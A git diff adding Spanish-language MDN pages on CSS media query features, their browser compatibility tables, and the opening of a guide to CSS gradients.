+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>La función <code>height</code> describe la altura de la superficie a renderizar en el dispositivo de salida (como la altura de una ventana o la bandeja de papel en una impresora).</p>
+
+<div class="note"><strong>Nota:</strong> Cuando el usuario cambia el tamaño de una ventana Firefox también cambia las hojas de estilo para utilizar la mas adecuada basándose en los valores de <code>width</code> y <code>height</code> del query.</div>
+
+<h3 id="monochrome">monochrome</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Indica el número de bits por pixel en un dispositivo monocromático (escala de grises). Si el dispositivo no es monocromático el valor sera 0.</p>
+
+<h4 id="Ejemplos_3">Ejemplos</h4>
+
+<p>Para aplicar una hoja de estilo a todos los dispositivos monocromáticos:</p>
+
+<pre class="brush: css">@media all and (monochrome) { ... }
+</pre>
+
+<p>Para aplicar una hoja de estilo a un dispositivo monocromático con al menos 8 bits por pixel:</p>
+
+<pre class="brush: css">@media all and (min-monochrome: 8) { ... }
+</pre>
+
+<h3 id="orientation">orientation</h3>
+
+<p><strong>Valor</strong><strong>:</strong> <code>landscape</code> | <code>portrait</code><br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Indica cuando el dispositivo esta en modo landscape (el ancho de la pantalla es mayor al alto) o modo portrait (el alto de la pantalla es mayor al ancho).</p>
+
+<h4 id="Ejemplo_5">Ejemplo</h4>
+
+<p>Para aplicar una hoja de estilo solo en orientación vertical (portrait):</p>
+
+<pre class="brush: css">@media all and (orientation: portrait) { ... }</pre>
+
+<h3 id="resolution">resolution</h3>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;resolution&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Bitmap", "bitmap")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Indica la resolución (densidad de pixeles) del dispositivo de salida. La resolución puede ser especificada en puntos por pulgada (dpi) o en puntos por centímetros (dpcm).</p>
+
+<h4 id="Ejemplo_6">Ejemplo</h4>
+
+<p>Para aplicar una hoja de estilo a dispositivos con al menos 300 dpi de resolución:</p>
+
+<pre class="brush: css">@media print and (min-resolution: 300dpi) { ... }
+</pre>
+
+<p>Para reemplazar la vieja sintaxis <span style="font-family: courier new,andale mono,monospace; line-height: normal;">(min-device-pixel-ratio: 2)</span>:</p>
+
+<pre class="brush: css">@media screen and (min-resolution: 2dppx) { ... }</pre>
+
+<h3 id="scan">scan</h3>
+
+<p><strong>Valor</strong><strong>:</strong> <code>progressive</code> | <code>interlace</code><br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/TV")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Describe el proceso de exploración de televisión de los dispositivos de salida.</p>
+
+<h4 id="Ejemplo_7">Ejemplo</h4>
+
+<p>Para aplicar una hoja de estilo solo a televisores de exploración progresiva:</p>
+
+<pre class="brush: css">@media tv and (scan: progressive) { ... }
+</pre>
+
+<h3 id="width">width</h3>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>La función <code>width</code> describe el ancho de la superficie a renderizar en el dispositivo de salida (como el ancho de una ventana de un documento o el ancho de la bandeja de papel en una impresora).</p>
+
+<div class="note"><strong>Nota:</strong> Cuando el usuario cambia el tamaño de una ventana Firefox también cambia las hojas de estilo para utilizar la mas adecuada basándose en los valores de <code>width</code> y <code>height</code> del query.</div>
+
+<h4 id="Ejemplos_4">Ejemplos</h4>
+
+<p>Si usted quiere especificar una hoja de estilo para dispositivos portátiles o pantallas con un ancho de al menos 20em, usted puede usar esta query:</p>
+
+<pre class="brush: css">@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
+</pre>
+
+<p>Esta query especifica una hoja de estilo para ser aplicada a un medio impreso con un ancho mayor a 8.5 pulgadas:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="print and (min-width: 8.5in)"
+    href="http://foo.com/mystyle.css" /&gt;
+</pre>
+
+<p>Esta query especifica una hoja de estilo para ser utilizada cuando la ventana tiene un ancho entre 500 y 800 pixeles:</p>
+
+<pre class="brush: css">@media screen and (min-width: 500px) and (max-width: 800px) { ... }
+
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="Específico_de_Mozilla">Específico de Mozilla</h2>
+
+<p>Mozilla ofrece varias funciones especificas de Gecko. Algunas de estas pueden ser propuestas como funcines oficiales.</p>
+
+<p>{{ h3_gecko_minversion("-moz-images-in-menus", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Si el dispositivo acepta que haya imágenes en menús, el valor es 1; de otro modo sera 0. Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(images-in-menus)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-mac-graphite-theme", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Si el usuario ha configurado su dispositivo para usar la apariencia "Grafito" en Mac OS X, esto sera 1. Si el usuario esta usando la apariencia azul por defecto, o si no usa Mac OS X, esto sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-maemo-classic", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Si el usuario esta usando Maemo con el tema original, esto sera 1; Si esta usando el nuevo tema Fremantle, sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(maemo-classic)") }}</p>
+
+<p>{{ h3_gecko_minversion("-moz-device-pixel-ratio", "2.0") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;number&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Da el numero de pixeles del dispositivo por pixeles de CSS.</p>
+
+<div class="geckoVersionNote style-wrap">
+<p><strong>No use esta función. </strong></p>
+
+<p>En cambio use la función <code>resolution</code> con la unidad <code>dppx</code>.<br>
+ <br>
+ <code>-moz-device-pixel-ratio</code> puede ser usada para compatibilidad con Firefox 16 o anterior; y <code>-webkit-device-pixel-ratio</code> con navegadores basados en WebKit que no soporten <code>dppx</code>.</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: css">@media (-webkit-min-device-pixel-ratio: 2), /* Navegadores basados en WebKit */
+       (min--moz-device-pixel-ratio: 2),    /* Navegadores anteriores a Firefox 16 */
+       (min-resolution: 2dppx),             /* La forma estandar */
+       (min-resolution: 192dpi)             /* compatibilidad con dppx */ </pre>
+
+<p>Vea este <a href="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/" title="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/">articulo CSSWG </a>sobre buenas practicas para compatibilidad en relación a <code>resolution</code> y <code>dppx</code>.</p>
+</div>
+
+<div class="note">Nota: Esta funcion multimedia tambien esta implementada en Webkit como <span style="font-family: courier new;">-webkit-device-pixel-ratio</span>. Los prefijos minimos y maximos de esta funcion implementados por Gecko se llaman asi: <span style="font-family: courier new;">min--moz-device-pixel-ratio</span> y <span style="font-family: courier new;">max--moz-device-pixel-ratio</span>; y los mismos prefijos implementados por Webkit se llaman asi: <span style="font-family: courier new;">-webkit-min-device-pixel-ratio</span> y <span style="font-family: courier new;">-webkit-max-device-pixel-ratio</span>.</div>
+
+<p>{{ h3_gecko_minversion("-moz-os-version", "25.0") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> <code>windows-xp</code> | <code>windows-vista</code> | <code>windows-win7</code> | <code>windows-win8</code><br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Indica que sistema operativo esta en uso actualmente. Actualmente solo es implementado en Windows. Sus posibles valores son:</p>
+
+<ul>
+ <li><code>windows-xp</code></li>
+ <li><code>windows-vista</code></li>
+ <li><code>windows-win7</code></li>
+ <li><code>windows-win8</code></li>
+ <li><code>windows-win10</code></li>
+</ul>
+
+<p>Esto se hace para permitir a los skins y a algunos códigos funcionen mejor con el sistema operativo en el que se ejecutan.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-end-backward", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si la interfaz de usuario muestra una fecha inversa al final de la barra de desplazamiento, de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-end-forward", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si la interfaz de usuario muestra una fecha apuntando hacia la derecha al final de la barra de desplazamiento. de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-start-backward", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si la interfaz de usuario muestra una fecha inversa al principio de la barra de desplazamiento, de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-start-forward", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si la interfaz de usuario muestra una fecha apuntando hacia la derecha al principio de la barra de desplazamiento, de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-scrollbar-thumb-proportional", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si la interfaz de usuario muestra la miniatura de la barra de desplazamiento de forma proporcional (basado en el porcentaje del documento que es visible), de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-touch-enabled", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si el dispositivo soporta eventos táctiles (una pantalla táctil), de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(touch-enabled)") }}.</p>
+
+<h4 id="Ejemplo_8">Ejemplo</h4>
+
+<p>Usted puede usar esto para renderizar sus botones un poco mas grandes, Por Ejemplo, si el usuario se encuentra en una pantalla táctil, esto hará los botones mas fáciles de usar con los dedos.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-classic", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si el usuario utiliza un windows sin temas visuales (modo clasico); de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(windows-classic)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-compositor", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si el usuario utiliza windows con el compositor de ventanas DWM; de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(windows-compositor)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-default-theme", "1.9.2") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>El valor sera 1 si el usuario actualmente esta utilizando algunos de los temas por defecto de Windows (Luna, Royale, Zune, or Aero), de lo contrario el valor sera 0.</p>
+
+<p>Esto corresponde a la <a href="/es/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudoclase</a>: {{ cssxref(":-moz-system-metric(windows-default-theme)") }}.</p>
+
+<p>{{ h3_gecko_minversion("-moz-windows-theme", "2.0") }}</p>
+
+<p><strong>Valor</strong><strong>:</strong> <code>aero</code> | <code>luna-blue</code> | <code>luna-olive</code> | <code>luna-silver</code> | <code>royale</code> | <code>generic</code> | <code>zune</code><br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Indica cual tema de Windows esta en uso actualmente. Solo disponible para Windows. Sus posibles valores son:</p>
+
+<ul>
+ <li><code>aero</code></li>
+ <li><code>luna-blue</code></li>
+ <li><code>luna-olive</code></li>
+ <li><code>luna-silver</code></li>
+ <li><code>royale</code></li>
+ <li><code>generic</code></li>
+ <li><code>zune</code></li>
+</ul>
+
+<p>Esto se hace para permitir a los skins y a algunos códigos funcionen mejor con el tema utilizado por el sistema operativo en el que se ejecutan.</p>
+
+<h2 id="Específico_de_WebKit">Específico de WebKit</h2>
+
+<h3 id="-webkit-transform-3d">-webkit-transform-3d</h3>
+
+<p><strong>Vakir:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong>Medio:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<ul>
+ <li><a href="https://compat.spec.whatwg.org/#css-media-queries-webkit-transform-3d">Especificación</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/-webkit-transform-3d">Documentación</a></li>
+</ul>
+
+<p>Si está soportado, el valor es 1, si no, el valor es 0.</p>
+
+<p>Ejemplo</p>
+
+<pre class="brush: css"><code>@media (-webkit-transform-3d) {
+  .foo {
+    transform-style: preserve-3d;
+  }
+}
+
+@media (-webkit-transform-3d: 1) {
+  .foo {
+    transform-style: preserve-3d;
+  }
+}</code></pre>
+
+<h3 id="-webkit-transform-2d">-webkit-transform-2d</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong>Medio:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/-webkit-transform-2d">Documentación</a></li>
+</ul>
+
+<p>Si está soportado, el valor es 1, si no, el valor es 0.</p>
+
+<h3 id="-webkit-transition">-webkit-transition</h3>
+
+<p><strong>Value:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong>Medio:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/-webkit-transition">Documentación</a></li>
+</ul>
+
+<p>Si está soportado, el valor es 1, si no, el valor es 0.</p>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("21")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("4")}}</td>
+  </tr>
+  <tr>
+   <td><code>grid</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} <sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>resolution</code></td>
+   <td>{{CompatChrome("29")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}} <sup>[2]</sup><br>
+    {{CompatGeckoDesktop("8.0")}} <sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scan</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-min-device-pixel-ratio</code>, <code>-webkit-max-device-pixel-ratio</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[7]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transform-3d</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[5]</sup></td>
+   <td>{{CompatGeckoDesktop("49")}}<sup>[6]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[5]</sup></td>
+   <td>{{CompatSafari("1.0")}}<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transform-2d</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[5]</sup></td>
+   <td>{{CompatSafari("1.0")}}<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transition</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[5]</sup></td>
+   <td>{{CompatSafari("1.0")}}<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("47")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>grid</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>resolution</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scan</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-min-device-pixel-ratio</code>, <code>-webkit-max-device-pixel-ratio</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transform-3d</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transform-2d</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>-webkit-transition</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>display-mode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>grid</code> media type no está soportado</p>
+
+<p>[2] Soporta valores {{cssxref("&lt;integer&gt;")}}.</p>
+
+<p>[3] Soporta valores {{cssxref("&lt;number&gt;")}}, según la especificación.</p>
+
+<p>[4] <code>tv</code> media no está soportado</p>
+
+<p>[5] Ver {{WebKitBug(22494)}}.</p>
+
+<p>[6] Implementado por razones de compatibilidad web en Gecko 46.0 {{geckoRelease("46.0")}} tras tras cambiar <code>layout.css.prefixes.webkit</code> por defecto a <code>false</code> (ver {{bug(1239799)}}). Desde Gecko 49.0 {{geckoRelease("49")}} <code>layout.css.prefixes.webkit</code> por defecto es <code>true</code>.</p>
+
+<p>[7] Implementado como alias para <code>min--moz-device-pixel-ratio </code>y <code>max--moz-device-pixel-ratio</code> por razones de compatibilidad web in Gecko 45.5 {{geckoRelease("45.0")}} (ver {{bug(1176968)}}) tras cambiar <code>layout.css.prefixes.webkit</code> y <code>layout.css.prefixes.device-pixel-ratio-webkit</code> por defecto a <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49")}} <code>layout.css.prefixes.webkit</code> por defecto es <code>true</code>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-mediaqueries/" title="http://www.w3.org/TR/css3-mediaqueries/">Especificación CSS 3 media query</a></li>
+ <li><a class="internal" href="/es/docs/Web/CSS/@media">Tipos de Medios</a></li>
+ <li><a href="/es/docs/Web/Guide/CSS/probando_media_queries">Usando media queries desde código</a></li>
+</ul>
diff --git a/files/es/css/using_css_gradients/index.html b/files/es/css/using_css_gradients/index.html
new file mode 100644
index 0000000000..2e3f5e13a4
--- /dev/null
+++ b/files/es/css/using_css_gradients/index.html
@@ -0,0 +1,386 @@
+---
+title: Usando gradientes con CSS
+slug: CSS/Using_CSS_gradients
+translation_of: Web/CSS/CSS_Images/Using_CSS_gradients
+---
+<p><a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a> posee soporte para nuevos tipos de <em>gradientes</em>  en las propiedades CSS. Usarlos <span id="result_box" lang="es"><span class="hps">en</span> <span class="hps">un</span> <span class="hps">segundo plano,</span> <span class="hps">permite mostrar</span> <span class="hps">transiciones suaves</span> <span class="hps">entre dos o</span> <span class="hps">más</span> <span class="hps">colores especificados,</span></span> <span id="result_box" lang="es"><span class="hps">evitando así</span> <span class="hps">el uso de imágenes</span> <span class="hps">para estos efectos</span></span>, lo que reduce<span id="result_box" lang="es"><span class="hps"> el tiempo</span> <span class="hps">de descarga y</span> <span class="hps">el uso de</span> <span class="hps">ancho de banda</span></span>. <span id="result_box" lang="es"><span class="hps">Además</span><span>,</span> <span class="hps">debido a que el</span> <span class="hps">gradiente</span> <span class="hps">es generado por el</span> <span class="hps">navegador</span><span>,</span></span> los <span id="result_box" lang="es"><span class="hps">objetos</span> <span class="hps">degradados</span> <span class="hps">se ven mejor</span> <span class="hps">cuando se hace un acercamiento</span></span>, y el ajuste de diseño es mucho más flexible.</p>
+
+<p>Los navegadores soportan dos tipos de gradientes: <em>lineal</em>, definido con la función <em>linear-gradient</em>, y <em>radial</em>, definido con <em>radial-gradient</em>.</p>
+
+<h2 id="Gradientes_lineales">Gradientes lineales</h2>
+
+<p>Para crear un gradiente lineal, <span id="result_box" lang="es"><span class="hps">se establece un</span> <span class="hps">punto</span> <span class="hps">de partida y una</span> <span class="hps">dirección</span> <span class="hps">(indicada por</span> <span class="hps">un ángulo)</span> <span class="hps">a lo largo de</span> <span class="hps">la cual se aplica</span> <span class="hps">el</span> <span class="hps">efecto</span></span>. Usted también puede definir <strong>paradas de color</strong>. las paradas de color son los colores que usted desea que Gecko renderise con suaves transiciones entre ellos, y usted puede específicar al menos dos de ellas, pero puede específicar más para crear efectos de gradientes más complejos.</p>
+
+<h3 id="Gradientes_lineales_simples">Gradientes lineales simples</h3>
+
+<p>Aquí está un gradiente lineal que inicia en el centro (horizontalmente) y arriba (verticalmente), e inicia en azul, transicionando a blanco.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Captura de pantalla</td>
+   <td class="header">Demo en vivo</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="/@api/deki/files/3950/=basic_linear_bluetop.png" style="text-align: center;"></td>
+   <td>
+    <div class="gradient-demo linear-top-bottom" style=""> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div style="margin-right: 255px;">
+<pre class="brush: css">/* La sintaxis vieja, obsoleta, pero todavía necesaria, con prefijo, para Opera y navegadores basados en WebKit-based */
+background: -prefix-linear-gradient(top, blue, white);
+
+/* La nueva sintaxis necesaria para navegadores apegados al estandar (IE 10 y Firefox 10 en adelante), sin prefijo */
+background: linear-gradient(to bottom, blue, white);
+</pre>
+</div>
+
